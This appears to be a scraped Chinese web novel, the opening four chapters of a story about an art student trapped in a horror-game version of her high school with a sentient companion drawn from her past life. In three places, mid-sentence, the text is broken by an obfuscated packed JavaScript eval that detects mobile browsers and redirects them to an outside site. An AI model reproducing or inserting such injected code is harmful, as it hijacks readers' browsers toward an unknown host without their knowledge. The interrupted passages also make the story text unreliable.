《我方阵营全员恶人》 1. 天灾 宿舍的起床铃响了,纪采挣扎着撕开自己的眼皮,从没觉得这么困过。 外面的天黑沉沉的。纪采摁亮手机屏幕一看,5:30。 “有毛病啊!学校又发什么神经?”纪采大怒。 寝室的灯被打开,室友们迅捷如飞地穿衣起床冲进卫生间,水杯脸盆叮铃哐啷,没一个人回答她。 纪采:??? “不是,你们一个二个的怎么回事……” 纪采烦躁地挠头,发现手感不对。原本的长发莫名其妙短了一大截,刚好到耳下。 “我*!畜生啊!” 纪采愤怒地爆了粗口,对着床下忙碌的室友们兴师问罪:“你们谁把我头发剪了?!” “谁闲得没事剪你头发?”同样顶着一头短发的室友抬头白了纪采一眼:“你还不快点?想迟到啊?” 这轻飘飘的一个白眼登时让纪采发出了杀猪般的惨叫。 “啊啊啊啊啊啊啊啊啊啊——!” 纪采原本迷迷瞪瞪的,现在被吓得完全清醒了,冲上脑门的肾上腺素一把掀开了她的天灵盖。冬季清晨冰冷的空气呼呼地往里灌,把她浇了个透心凉。 室友脸色青白,两个眼眶哗啦啦地往外淌血,偏她自己还毫无所觉,任凭血水啪嗒啪嗒地滴在黑色的校服外套上,洇开深色的水渍。 “冯心雨!你你你你……!”纪采狠狠地咬住自己的手,把尖叫堵死在喉咙里。 因为纪采看见了其他几个从卫生间里出来的室友。一共五个人,全都肤色青白,眼里淌着血。她们对自身的异常毫无所觉,依旧有条不紊、动作迅速地收拾着自己。 “你们看不见吗?”纪采的声音都在发抖。 “看见什么?” 另一个室友莫名其妙地看了纪采一眼,催促道:“五点三十五了!你别刷牙了,直接去操场吧!快点!” 室友们匆匆忙忙地跑着出门,转眼就只剩纪采一个人在宿舍里。 纪采反手扇了自己一个大耳刮子。右半边脸传来火辣辣的疼痛,但纪采不愿意承认这里是现实。 “救命啊……”纪采双目无神地喃喃自语,“我不会又……” 穿越了吧?! 纪采深吸一口气,把散落在床边的衣服一件件捡起来穿好。虽然不明白发生了什么,但是这种时候最好还是和其他人保持一致。 纪采拿起校服外套,底下露出来一本装帧精美的书籍。 《天灾原画集》。书壳是雪一样的纯白,封面的字是烫金的,一圈形色各异的纹章像星星一样环簇着正中的文字。 尘封多年的往事揭棺而起,那些模糊得像是梦境的记忆又清晰起来。 上辈子的纪采是一名游戏原画师,最值得称道的成就是参与了热门游戏《天灾》的制作。 在《天灾》的世界,看似安全稳定的人类都市中潜伏着名为“异常”的怪物,它们诞生自人心,却拥有扭曲现实的力量。每一次的“异常入侵”,往往都会搭进去成百上千的人命。 今早一醒室友们变成那副鬼样子,她床上又出现了《天灾》的画集…… “完了、完了呀!” 纪采捂脸哀嚎,甚至产生了不如现在就去死一死,看能不能再穿越到另外一个世界的想法。 人命在异常的世界是风一吹就飞的草灰,只是一串冷冰冰的数字。 “哈哈,你怎么能这么想?” 含着笑意的少年音响起,清脆得像是夏风拂过时窗前风铃叮咚作响。 纪采脊背上的汗毛都炸起来了,她用背抵着墙,警惕地环顾四周。 “别看啦,我在这呢。把书翻开呀。” 纪采死死地盯着床上那本原画集,像是要把封面盯出一个洞。 少年的声音变得有些委屈:“我保证,我不是异常,也不是妖魔鬼怪!我是你亲生的崽啊妈妈!” “你少来!我还是黄花大闺女呢!哪来的崽!你到底是个什么鬼东西!” “好吧好吧,那么首先,我们得回答一个问题——这本画集是你前世的东西,为什么会出现在这里呢?” 纪采一直以来保守的秘密就这样被戳破,顿时心神大乱。 “答案当然是——它跟着你来到这个世界啦!只是之前你一直没有遇到异常,这本画集也就没有显形的机会。” 纪采无助地抱紧自己:“所以我现在是遇到异常入侵了?” 不是,这么突然?我就只是睡了一觉而已啊?! “没错没错!但是不要害怕,因为我们无所不能!” 那少年的声音兴高彩烈的,“天外的飞星带来超越此界的力量,祂将化身天灾的代行者,以灭世的威能宣示罪孽的终结!” 救命,好中二的台词,脚趾已经抠起来了……不过这句话听着怎么这么耳熟呢? “天灾的代行者?” 纪采想起了什么,脸色发绿地盯着那本原画集:“天行者?!” 《天灾》游戏里的反派阵营!取了个‘天行者’这样听起来很正派的名字,结果其实是‘天灾代行者’的意思吗?!” “那么,接下来是第二个问题,我是谁呢?翻开你面前的这本书,就能得到答案哦。” 纪采的手搭在了画集的封面上,她迟疑道:“我总有种不详的预感……你不会是什么被关在书里的恶魔,我打开书其实是给你解除封印吧?” “你还是少看点动漫吧,对脑子不好……唉,你不来,我自己来——” 少年说着,书页无风自动,翻过了几页便摊开不动了。 那一页上面画着一个男孩的形象,白发蓝瞳,身着流光溢彩的镭射材质服饰,皮肤上像是芯片那样攀爬着发光的纹路。他的双足呈现出一种虚幻的透明,折射着彩光的白色像素块萦绕在他周身,整个人像是漂浮在空中。 旁边的书页写着数行小字。 【非人之人·零和】 【阵营:天行者】 【天赋1:虚实幻真(1级) “我思故我在” 你的灵魂可以更换物质的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432871|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躯壳。异能生效范围:三米。】 【天赋2:无限空间之王(1级) “果壳=宇宙=果壳” 你的思维能延展到网络世界的任一角落,在此你即是无限空间之王。】 纪采知道零和为什么叫她妈妈了。因为零和真是她的崽……这家伙是她画出来的! 书页上容貌绮丽的男孩快活地眨了眨明亮的眼睛:“现在,第二个问题也有了答案。我知道你还有很多事想问,但是我们得之后再聊了,因为已经没有时间啦。” “现在已经五点四十啰,你只有五分钟的时间去操场了。快点跑起来吧!我们得跟上大部队!” 纪采满头问号:“你知道没时间了还跟我聊那么久?!” 零和笑嘻嘻的:“因为要让你带上我嘛!里世界处处都是地雷,没有我你会死的。” “谢谢啊!你可真是我的好大儿!” 纪采忙不迭地拎起画集,连滚带爬地下床。 零和带着笑意的声音像是清脆的风铃:“哎哎哎,带这本书可不行。拿课本去,你们跑早操前要朗读的。” “这什么破学校,凌晨五点半跑操?还朗读?早饭都不吃,他不怕学生低血糖吗!” 纪采骂骂咧咧,把画集夹在腋下,随手从桌子上抄了一本教材夺门而出。 “大多数人是不会因为这么一会儿的运动就低血糖的,晨跑可是健康的生活方式。” 零和的声音在呼呼的风声中若隐若现。 “但是五点半起床也太反人类了吧?!我还在长身体啊!” “反人类?没有那么夸张吧,只是早起而已。生长激素的分泌高峰时间是晚十至十一点,青少年只要达到8至10小时的睡眠时长就能保证生长激素的分泌和身体机能的恢复。顺带一提,女性智人的骨骺在15岁左右就会闭合,你今年正好15岁,大概率长不了多少了哦。” 放屁! 纪采想破口大骂,但是灌进喉咙里的冷风像是刀子一样刮着她的气管,让她断断续续的呼吸都泛起了一股血腥味,开口实在艰难。 作为一个美术生,纪采常年伏案画画,不仅没有运动的时间,也没有多少运动的欲望。前后两辈子都是如此,期末体育测试的八百米跑都能让她喘没半条命。 原画集纸质精良,分量就比较坠手,纪采跑了一段路,感觉这大板砖快沉死她了:“累死我了!我跑不动了!” “你的身体素质也太差了,以后可怎么在里世界逃命呀?” 零和唉声叹气。 纪采忽然觉得手上一轻,沉重的画集就化作了点点白光,像是落雪一样融在她身上。 纪采:??? “你这小兔崽子,玩我呢?” “我只是想让你锻炼身体嘛,我也是为了你好呀亲爱的妈妈。” 零和委委屈屈。 “别叫我妈妈!我没有你这种逆子!” 纪采半死不活地往前跑:“还有几分钟?” “两分钟~加油哦!” 2. 早晨 纪采远远地就听见了鼎沸的人声,等她踩着时间点一脚踏进操场,人群的嘈杂更是震耳欲聋。 她就读的上阳一中是本市顶尖的高中,但也没有跑早操的规定……总之,她找不到自己班级的队伍。 一簇又一簇的学生列着队,在黑沉的天色和惨白的灯下举着书本朗读,口中呼出的热气被冬季点成冰冷的雾。 千百个不同的响亮念书声和更加响亮的背景音乐扭打在一起,震得纪采的脑仁嗡嗡作响。在她晕头转向的时候,零和清脆的声音在她耳边响起:“往前走三个方阵,右拐的第二个。” 纪采低着头,小跑着路过苍白又热闹的人群,在零和的指引下找到了自己的位置。 自己班级的方阵前站着班主任老方。 老方大名方陈是,今年已经五十岁了。他在上阳一中教了快二十年的数学,额头饱满圆润,噌光瓦亮,昏暗的灯光落在上面都能反射出耀白的光斑。人们常说脑门大的人聪明,而他高耸的发际线无疑也证明了他出众的智慧。 纪采一过来,老方的脑袋就转了过去,啤酒瓶底一样厚的镜片也挡不住后面爆射的精光。 “来蛮早啊?” 老方把背在身后的手抽出来一只,往手腕上的表盘瞄了一眼,乐了:“哟呵,这点踩的,挺有水平哈。” 纪采站住,感觉自己的心脏咕咚一声沉进了冰水里,寒意从心尖尖往上一直淹过了脑门。 老方还是操着一口奇怪的塑料普通话,腔调也是一如既往的阴阳怪气。他的外表也没有任何变化。 可是其他同学都变成了僵尸那样的东西,无一例外。为什么“老方”还是老方的样子? “愣着干嘛!想给我们班扣分啊!” 老方抬起手掌作势要打。纪采一缩脖子,鹌鹑似的钻进了队伍里。 前后左右都是脸色青白得像死人,还哗啦啦流血泪的同学,熟悉的五官、青白的脸色。 纪采的心跳得像是在打鼓,她哆哆嗦嗦地摊开皱巴巴的课本,满纸的数学公式和练习题。 谁家好人早上读数学啊!我又不能心算! 意识到这点,纪采才发现了不对。耳朵捕捉到的字词全都是诸如“坐标系”“重力”“氢氧化钠”一类,就没听到半句诗词和外语。 “邪了门了,难道早读还分文科早读和理科早读?”纪采小声嘀咕。 “山河中学的课表上没有文科类课程哦。” 听到零和的声音,纪采骤然浑身紧绷,背心瞬间沁出了一层冷汗。 “不用这么紧张,我是在用神经电信号给你传递信息,别人听不见的。” 纪采的被害妄想症立刻发作了:“这逆子能读我的心?!” “噢,你的脸色可不太妙。你是不是在想,其实我住在你的脑子里,总有一天会把你的脑组织吃掉,鸠占鹊巢?” 零和阴森森地压低了声音说话,看到纪采的脸色越来越扭曲,他快乐地发出了银铃般的笑声:“哈哈哈!警惕性高是好事,但你大可不必防备我,毕竟我也算是你的异能,只是会说话而已。” 你说是我的异能你就是了?我凭什么相信你?万一你就是什么恶魔,装作我的异能骗取我的信任,然后达成什么不可告人的目的呢? 纪采脸色发绿地想。 天行者可是《天灾》里赫赫有名的反派组织!他们可没干什么好事儿!她凭什么相信这个逆子的一面之词?还妈妈,叫她太奶都没用! “唉,感觉你还是不信呢。” 零和失落地叹气,但是下一秒又振作起来,“没关系,你可以利用我,不信任我也可以,你只要相信你自己。” 可恶,竟然对好大儿有点愧疚是怎么回事?不行,这说不定是敌人的苦肉计,你不能动摇啊纪采同志! 入场的音乐中止,切换成了节奏恒定的哨声。所有人整齐划一地放下书本,抬起脚往前小跑。 背后的人悄无声息地贴了上来,带着冰碴子的寒气浇在纪采温热的后颈上,脚尖几乎要踩到纪采的后脚跟。 纪采发出一声短促的尖叫,被逼得只能向前挤。而她身后的那些人只是面无表情地握起双拳提至肋下,摆出预备奔跑的姿势。 “提高一分!干掉千人!” 四面八方的人忽然大喊,吓得纪采浑身一激灵。她的尖叫淹没在浪潮般的喊声中,没有引起任何人的注意。 “两眼一睁,开始竞争!不苦不累,高中无味!不拼不搏,人生白活!” 纪采:? 队列开始移动,为了不被踩掉鞋子,纪采只能硬着头皮跟着人群一起跑起来。 放眼望去是一片参差的短发一片青白的后颈,她的拳头贴着前面人的后背,后面人的拳头贴着她的后背。距离太近了,只能踩着小碎步往前跑,一旦她迈开步子就会跺上前面人的后脚跟。 虽然方阵前进的速度不快,但已经是强弩之末的纪采没一会儿就气喘如牛。她感觉自己的肺变成了破旧的老风箱,锈坏的气管正在哧哧漏气。 “我……不行了……” 纪采张大嘴巴,像条渴死的鱼:“快……死了……” 你不是异能吗!快想想办法啊! 零和的声音突然娇羞,纪采仿佛能看见他像个黄花大闺女似的低眉颔首对手指:“哎呀,这不是术业有专攻吗?我也没办法呢。” 要你何用啊! 纪采想要迎风流泪。所以小说里写的什么成为异能者就像脱胎换骨,身体素质无痛提高什么的都是假的!也有可能零和从一开始就说谎了,他就是一条花言巧语的寄生虫! 零和在她耳边加油呐喊:“不要放弃啊!再坚持一会儿!胜利的曙光就在前方!” 纪采看见的哪里是胜利的曙光,分明是天堂的圣光! 经过运动场入口的时候,一个女生捂着肚子离开了前面的方阵。那女孩满头都是豆大的冷汗,看起来下一秒就能倒地不起:“老师,我生理期肚子疼,实在受不了了,我想请个假。” 那老师懒懒地撩起眼皮:“哪个班的?什么名字?” “1016,李艺瞳。” 好巧,隔壁班的。 老师拿起笔在手里的本子上刷刷写。 女孩慌乱起来:“老师,请病假不能扣分吧……” 远处一个身材魁梧的中年男人衣角带风地走过来,气势凶狠得像是去持械斗殴。奋笔疾书的老师抬头叫了声“主任”,这位戴着眼镜的教导主任没理他,只大吼一声打断了李艺瞳:“请什么假?” “来个姨妈,多大点事?全校就你一个女生来吗?她们都没请假,你请假干什么?” 李艺瞳的声音都带上了哭腔:“可是老师我真的很痛……” “就你一个人痛?那别人不痛?别人不也忍着吗?她们能忍,你怎么不能忍?就你这么娇气?有的人断手断脚的痛都能忍,你呢?上学不是让你来享福的,是让你吃苦的!这点痛都忍不了,以后的苦你怎么吃?” 教导主任喋喋不休,还说要把李艺瞳列为反面典型,在全年级进行批评教育。 “你听听这说的是人话吗?” 纪采义愤填膺地在脑内戳零和,“我知道了,其实这里的老师只是看起来正常,芯子也是怪物吧!” “有没有可能,这里除了你,其余的所有人都是怪物呢?” 零和低语,像是恶魔在耳边呢喃:“换个角度想,它们都一样,只有你不一样,你才是怪物啊!” “滚!滚滚滚!” 纪采狠狠地打了个寒颤,连声怒骂——只有火气上来了,才能忽视从心底涌上来的森森寒意。 “我要怎么样才能离开这个鬼地方?还是跟游戏里一样,把形成里世界核心的异常杀了就行?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432872|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没错。但是很遗憾,山河中学这个副本的异常太厉害了,现在的你打不过它,所以你只能用另一种更传统也更安全的方式。” “传统?” “异常调查科的传统方式。目前主流的唯物世界观认为,世界是物质的,人类要发挥主观能动性才能使精神干涉物质……” “停停停,我不想听哲学!停止你的搜索引擎式介绍,说人话!” “好吧,简而言之,精神的确可以影响物质,而其中的媒介是人类。这是《天灾》最重要的设定之一,你应该还记得。” “《天灾》把‘发挥主观能动性’从规则中删除,让它变成了‘人能通过精神干涉物质’。这条规则构成了《天灾》世界观的基石,它让人类的恶意具现并实体化,于是扭曲现实的里世界诞生,成为‘游戏副本’;它让人类的愿望突破物质外壳的桎梏,于是强烈的意念改变了常理,成为了‘异常能力’。” 纪采咂摸出不对味了:“《天灾》……所以我这辈子是在游戏世界里活了这么多年?其实我是穿进游戏里了?” “不,这里不是《天灾》,只是那条‘规则’降临了这个世界,把它变成了《天灾》。” 零和否定纪采的想法:“同理,我也不是真正的零和,是你的愿望把我变成了这个世界的他。” “我的愿望就是混吃等死躺平当咸鱼,人在家中坐钱从天上来!所以出现在我面前的应该是那个能点石成金的钱多多!” 零和无奈地叹息:“真的吗?你自己也信了吗?” “行了别扯这些有的没的,所以你说的传统方式不就是和游戏里一样,跑图探索然后收集物品解密吗?那这个副本的通关条件是什么?” “里世界是意念的具现,不论通关条件多么复杂,归根结底也只有抵抗恶念和净化恶念这两条路……” “少废话,不就是暴力破拆和解密超度吗?” 纪采快被零和的长篇大论整崩溃了:“这个副本到底是谁的?!它是不是想炸学校?!” 这个鬼迷日眼的副本一看就是哪个被读书折磨得神智不清的学生搞出来的! 零和沉默了一下:“……很遗憾,我也不知道。我说过了,这里并不是《天灾》的游戏世界,它只是融合了《天灾》的规则,所以我也不知道剧情。” “你不知道——那你连我站哪儿都知道?你当我是傻子呢!” “因为有规则书啊!啊噢,说起这个,我还有另一件事要告诉你。” 零和的声音听上去心虚极了,“除了‘精神直接干涉物质’这条规则,‘大型多人生存游戏’这个概念也一并降临这个世界了。嗯,所以就是说……” 纪采有种不详的预感,一如之前她每次倒血霉的时候:“所以?!” “每一次的异常入侵都会卷入成百上千的人类,而‘大型多人生存游戏’这个概念会在其中挑选合适的人成为‘玩家’……” 察觉到纪采越发升高的血压,零和适时地止住了话头,“游戏想要让你成为玩家,于是给了我偷系统屁股的路径,破译了一部分里世界规则。但也只是一部分,我知道的真的不多。” “别的玩家这个时候还在自己一个人苦哈哈地琢磨规则书呢,而我,你贴心的小助手,和你一起面对困难。” 零和嘿嘿地笑起来,“嘿嘿嘿,怎么样,是不是很感动?” “规则书”也是《天灾》游戏里的设定之一,主要作用是给玩家一定的游戏流程指引,防止玩家像个无头苍蝇似的在副本里乱转并且悲惨地把自己给一头撞死。 “嘿你个头啊!你还说你没有问题,你都背着我截胡规则书了!你果然是魔鬼吧!” “冤枉啊!系统在扫描你的时候就触发了【无限空间之王】,我是被动防御!” 零和大呼冤枉,“最重要的是,谁都可以成为玩家,只有你不行!” 3. 坠落 “凭什么我不能是玩家!搞歧视是吧!” “你以为被系统绑定是什么好事?你是参与创造《天灾》的人,规则之上的规则,营养价值极高,堪称十全大补丸,裹上面粉炸至金黄,隔壁异常都馋哭了。” 零和冷笑。 纪采:…… 脑内的对话转移了纪采大部分的注意力,当哨声停止时她的反应慢了一拍,一脚踩在前面同学的后脚跟上,把人家的鞋都给踩掉了。 前面的女同学脑袋拧了一百八十度,青白的脸庞对着她,眼眶里哗哗淌血。 零和突然出声:“不要说话!” 纪采吓得差点当场跪下,听到零和的警告,大气都不敢出,连忙低头,死死地盯着自己的脚尖。 她听见“咔、咔、咔”的骨骼摩擦声,是前面的同学一点点把脑袋拧回去的声音,像是什么老旧卡顿的机械。 因恐惧而飙升肾上腺素退去,被掩盖的疼痛重新蔓延四肢百骸。纪采捂着自己的嘴,艰难地呼着气,跟随队伍缓慢地离场。 “为什么不让我出声?会触发杀人规则吗?”纪采在心底问零和。 “你看看你周围就知道了。” 挨挨挤挤塞了几千人的运动场,热闹又寂静。音乐声一停止,周围变得鸦雀无声,所有人都垂着头不说话。 行尸走肉摩肩接踵,纪采身不由己地被人流推着走。 “山河中学推行‘无声校园’的管理策略,务必使学生们将所有时间和精力都用在读书上。它禁止学生之间所有与学习无关的闲聊,只能在教室内说话。” 零和说:“规则书的提示到此为止了,剩下的规则要你自己去发现。” 纪采只觉得不可理喻:“不是?这个规定的意义在哪里?这是人能想出来的规定?这规定已经不仅是变态的程度了,根本就是反人类了吧!” “的确是人能想出来的规定,因为制定规则的人从来不需要遵守规则。所以才生搬硬套,画虎不成反类犬,东施效颦,贻笑大方。”零和冷冷地说。 纪采第一次听见零和用这种冷冰冰的语气说话,惊奇道:“骂得好骂得好,你骂人都不带脏字的,像我就只会骂他傻【哔——】。” 零和:“……” 消音了,但是又没有消音。 纪采亦步亦趋地跟着她的同学钻进了教室。她感觉人们像是工厂流水线上死去的沙丁鱼,翻着白眼躺在传送带上,然后身不由己地填进铁皮罐头里。 教室里的桌椅从头塞到了尾,只留下一道道狭窄的空隙,纪采要侧着身子才能挤过去。寒冷的清晨吞掉了五六十个人散发的热气,纪采的脚趾头冻得发僵。 门窗紧闭,却留不住温暖,只让二氧化碳堆积在室内。人的体味随着汗水一同蒸发,挥发在空气里。 现在明明是冬天,她却仿佛闻到了大夏天发酵的垃圾堆散发出来的酸臭味。 奇怪,怎么会这么臭啊?他们到底多久没洗澡了,才臭得像尸体?等等……有没有可能,他们本来就是尸体? 纪采被熏得头昏脑胀,泡在一群人的排泄物里,空气里漂浮着灰尘、皮屑和细菌。教室是一个密封的罐子,废物和脑子被一同塞在里面发酵、酸化、腐烂。 她也在慢慢地、慢慢地腐烂…… “你的脑电波很不对劲。任何不同寻常的想法都有可能是来自里世界的精神污染,不管你在想什么,快住脑。” 零和冷酷地说:“五秒之内回答我,一千二百三十五加上四百三十六等于多少?” 纪采:??? “什么?你为什么突然让我心算?” “五,四,……” “我数学烂得要死!从小到大我就没及过格啊大哥!” “三,二……” “你是魔鬼吗!” “一……” “一千六!一千六百多行了吧!” 纪采负责数学计算的那根纤弱神经发出了不堪重负的惨叫。 “正确答案是一千六百七十一。” 零和淡淡地说,清脆的声音带着一股非人的无机质感,“要对抗精神污染,清空大脑是一种有效的手段。” 随后他声音一转,语带揶揄,“对于像你这样的数学残废,一些简单的计算就能占用大脑的全部运行内存,在另一种意义上清空大脑,实在是快捷有效的不二法门呢~” 呢~呢你个头啊! 纪采甩了甩脑袋,缓解眩晕感。她环顾四周,发现所有人都拿着一本书,站在自己的位置上,大声地读书。 为了随大流,纪采试图找到语文课本,读读课文来缓解尴尬。毕竟翻来覆去地朗读数理公式真的很奇怪。 纪采把座位掘地三尺也没看到一本语文相关的书,包括历史、政治、地理——总之,文科连根毛都没有。 “这是想要美术生死是吗?我一个美术生,选理科?” 纪采无语地翻白眼,“文科不配活着吗?政史地就算了,语文都不学?怎么,理科就清高,理科不用发论文?” “在这个里世界的设定里,语文教育的目的是让学生能无障碍地阅读和写字,在初中之后就会结束课程。” 零和说,“至于政治历史地理嘛……我看看,噢,山河中学是纯理类学校,不让学生选这几门呢。” 纪采沉默了好一会儿:“这个里世界的主人做了多少数学题啊,疯成这样?” 凌晨六点,早读铃打响。老方背着手,踩着黑沉的天色进了教室,光滑的大脑门像颗明亮的灯泡。 进门之后,老方示意大家停止朗读。他说:“同学们,你们在原本的初中也是成绩优异的佼佼者,现在你们升入高中已经有一段时间了,希望大家都严于律己,不要懈怠,永远做一个优秀的人。” “但是!今天的早操,发现了很多同学无故迟到、缺勤!对于这样的情况,我们感到无比的痛心,进行了严厉的惩处!” “令人痛心和震惊的是,这些同学顽固不化,毫无悔过之心!不仅顶撞师长,还妄图暴力抵抗!这样的学生不配在山河中学读书!没有恒心、没有良心,吃不了半点苦头!他们应该为自己的劣质、堕落,感到内疚、感到惭愧、感到耻辱!” 纪采猛地抬头。 “玩家?那些反抗的人是不是玩家?” 老方在讲台上唾沫横飞:“这个社会不需要烂人!不需要残次品!垃圾就只能待在垃圾桶里!你们的父母辛苦工作十几年养大你们、供你们读书,就是为了让你们变成废物的吗!你们对得起家庭、对得起社会、对得起自己吗!” “是的。这一次是非常罕见的突发性异常入侵事件,名副其实的天灾。异常的领域在三分钟之内吞噬了整个上阳一中,被卷入的受害者有近三千人,而目前觉醒了异能、能被称为玩家的只有几十个。” 零和说,“从五点半开始,到现在六点,里世界的三十分钟已经污染了三分之一的人。时间越长,受到的损伤就越难以逆转,脑死亡成为植物人还算得上是比较好的下场。” “吃得苦中苦,方为人上人!你们进学校,不是来享福的,是来吃苦的!在学校里的每一分、每一秒都应该用来学习!那些与学习无关的事,统统都不要想、不要做!只要学不死,就往死里学!” 砰地一声巨响,有什么重物落地了。 纪采下意识地扭头向窗外看。 明明她应该看不清的,可是她却清楚地看见一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432873|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒过来的人脸,只有一瞬。泪水逆着风升起,身体像是流星坠向大地。 “嘀嗒。” 纪采清晰地听见一颗小小的水珠落下的声音。像是泪珠撞在窗上粉身碎骨,也像是水滴融入了河流。 室内的热气扑在被寒风吹冷的玻璃上,凝结成一串串圆圆的水珠。水珠滚落下来,拖着一道道长长的轨迹,像是湿润的泪痕。 每一扇窗户都在哭泣。 老方的声音逐渐变得遥远,纪采听不太真切,仿佛隔了一堵无形的墙壁。人群分明沉默着,悲切的哭声却隐隐约约地响起。一开始稀稀拉拉,但越来越多的哭声慢慢地加入了进来。 不同的嗓音,不同的声调。有的尖细,有的嘶哑;有的抽泣,有的呜咽。哭声像是葬礼上的哀乐,人声吟唱着悼亡的歌谣,管弦乐器演奏起低沉婉转的曲调。天空下起了瓢泼大雨,仿佛永不停歇。 “纪采!” 老方一声暴喝,“为什么不听讲?站起来!” “咔嚓——” 闪电像尖刀一样划破了漆黑的夜幕。 纪采如梦初醒。 有人,跳楼了? 纪采一个激灵,蹭地一下从座位上蹦起来:“外面有人跳楼……” “你怎么跟个死八婆一样?别人跳楼跟你有什么关系?很好看吗?看了能让你考上好大学吗?这种零碎的时间,你不知道用来背几个公式定理吗?人和人的差距就是通过无数个不被重视的零碎时间拉开的!我三令五申,让你们不要想与学习无关的事情……” 寒意从纪采的脚底爬上腿骨,渗透进四肢百骸。阴冷的蛇在她耳边嘶嘶吐信,颤栗的电流从耳道击穿头皮。 她的班主任,老方,在里世界看上去和往常无二,却做着他绝对不可能做的事,内里的芯子已经变成了怪物。 被里世界污染,在现实世界是不是会死?即使在现实,她身边的,会不会也全都是尸体? 她其实陷在了死人堆里! “七万五千八百二十点五减去两万六千零十七等于多少?请在五秒之内作答。” 纪采:??? 纪采连零和念了几位数都没得数清楚,偏偏零和像复读机一样逼问她,唠唠叨叨地一定要把这道题心算出来。 纪采的脸涨成了猪肝色,挣扎良久,神情痛苦地闭上眼。 纪采气若游丝:“我的脸好烫,我是不是被精神污染了?我怎么感觉我的脑仁儿都烧坏了?” “这次异常可没有把它的想法强加给你,是你自己和它的意念产生了共鸣。它只是放大了你的悲伤,造成了类似精神污染的效果。换句话说,是你自己主动寻求精神污染的。” “失去记忆,变成了怪物,也会感到难过吗?” “为生命的逝去感到悲伤难道不是人类的本能吗?异常曾经也是人类,就算记忆被掏空了,执念和本能也还在的。而且,说不定有些人就是因为太难过了,才会变成怪物的呢?” 谁的执念会是山河中学这样的学校?那个人到底经历了什么,才会变成异常? “……早饭时间结束后会进行本月的月考。我们依然实行末位淘汰制,根据成绩分配学号和班级,希望各位同学全力以赴,取得好成绩。” 纪采:“……怎么都到里世界了还是逃不掉考试?!” 纪采来来回回地咀嚼着苍白干瘪的数学公式,麻木得像是一只嚼着草梗的老黄牛。 老方的两只眼睛探照灯似的在教室内逡巡,一发现谁有走神的趋势,就恶狠狠地瞪过去,然后毫不留情地吐出人身攻击的话语。 墙上挂钟的时间走到了六点三十。铃声响起,所有人都拔腿就跑、夺门而出,好像身后有狗在追。 4. 逆水 “六点三十到七点是早饭时间,但我不建议你去。你记得白骨精给唐僧送的饭吗?都是石头和癞蛤蟆变的。” 纪采的脸皱成了苦瓜:“我也不能一直不吃饭吧!那喝水呢?人不喝水,三天就会死啊!” 零和安抚她:“里世界就和梦境一样,你在梦境里感觉过了很长的时间,但你醒来会发现其实只度过了几个小时而已。放心吧,死不了的。” “你休想诓我!《天灾》的设定我还记得一点的!里世界才不是梦境!被杀了就真死啦!” “我只是想说明,在里世界你对时间流逝的感觉是虚假的而已,因为这里是某人的记忆形成的世界嘛。” “时间是假的,可是感觉是真的啊!我快饿死啦!我真的好想喝水,呜呜呜呜呜呜……” 纪采在内心嚎啕大哭,像个游魂一样生无可恋地走出教室。 反正也不能吃饭,她决定用这半个小时收集线索,找出这个山河中学的“主人”。 “你既然偷了系统的屁股,那你知道哪里有道具吗?保命的那种,至少给我一个啊!” “很遗憾,关于这部分的信息系统藏得太深,我不能做更多的操作,否则会被它发现。” 纪采拐出教室门,看见老方慢悠悠的背影,咻地一下缩了回来。她鬼鬼祟祟地扒在门框上,探出眼睛观察。 然后她就眼睁睁地看见老方走到楼梯处时,人间蒸发般地消失了。 “我就知道他果然不是人!” 纪采小心翼翼地摸到楼梯口,躲在墙后往下层看。她的教室在顶楼五楼,就这么一会儿的功夫,这一层的人都跑空了。 纪采左顾右盼,没看到隔壁班的那个李艺瞳。 “隔壁1016的那个,李艺瞳,我感觉她像玩家。你不是偷了系统屁股吗?有没有权限查这个?” “她的确是,不过你看见的,只是她的投影。” “投影?” “山河中学被游戏选作了觉醒副本,用来筛选异能力者。每一个人都在独立的空间里,大家经历着相同的梦境,因为不同的选择走向不同的结局。你可以看到其他玩家在这个故事里的结局,但是你无法触碰他们。” 纪采明白了:“所以,我打的其实是单人副本,但我能看到别人的——通关记录?死亡影像?那别人也能看到我的?” “没错,被别的玩家看见你就完蛋了。” 零和阴森森地说,“治安管理局的异常调查科会登记所有异能者的档案,但是你是经不起查的。” 纪采的脸都皱成了一团:“什么意思?我不能被天灾的规则发现,我还不能被官方发现?我是下水道里的老鼠么我?人人喊打?” “所有的异能力者都是被系统监管的玩家,而你却不受系统的制约,你猜他们会不会把你解剖切片?” “你少在这里阴谋论!照你这么说,我可是仅有一只的珍稀动物!他们怎么可能不保护我!他们还要把我供起来!” 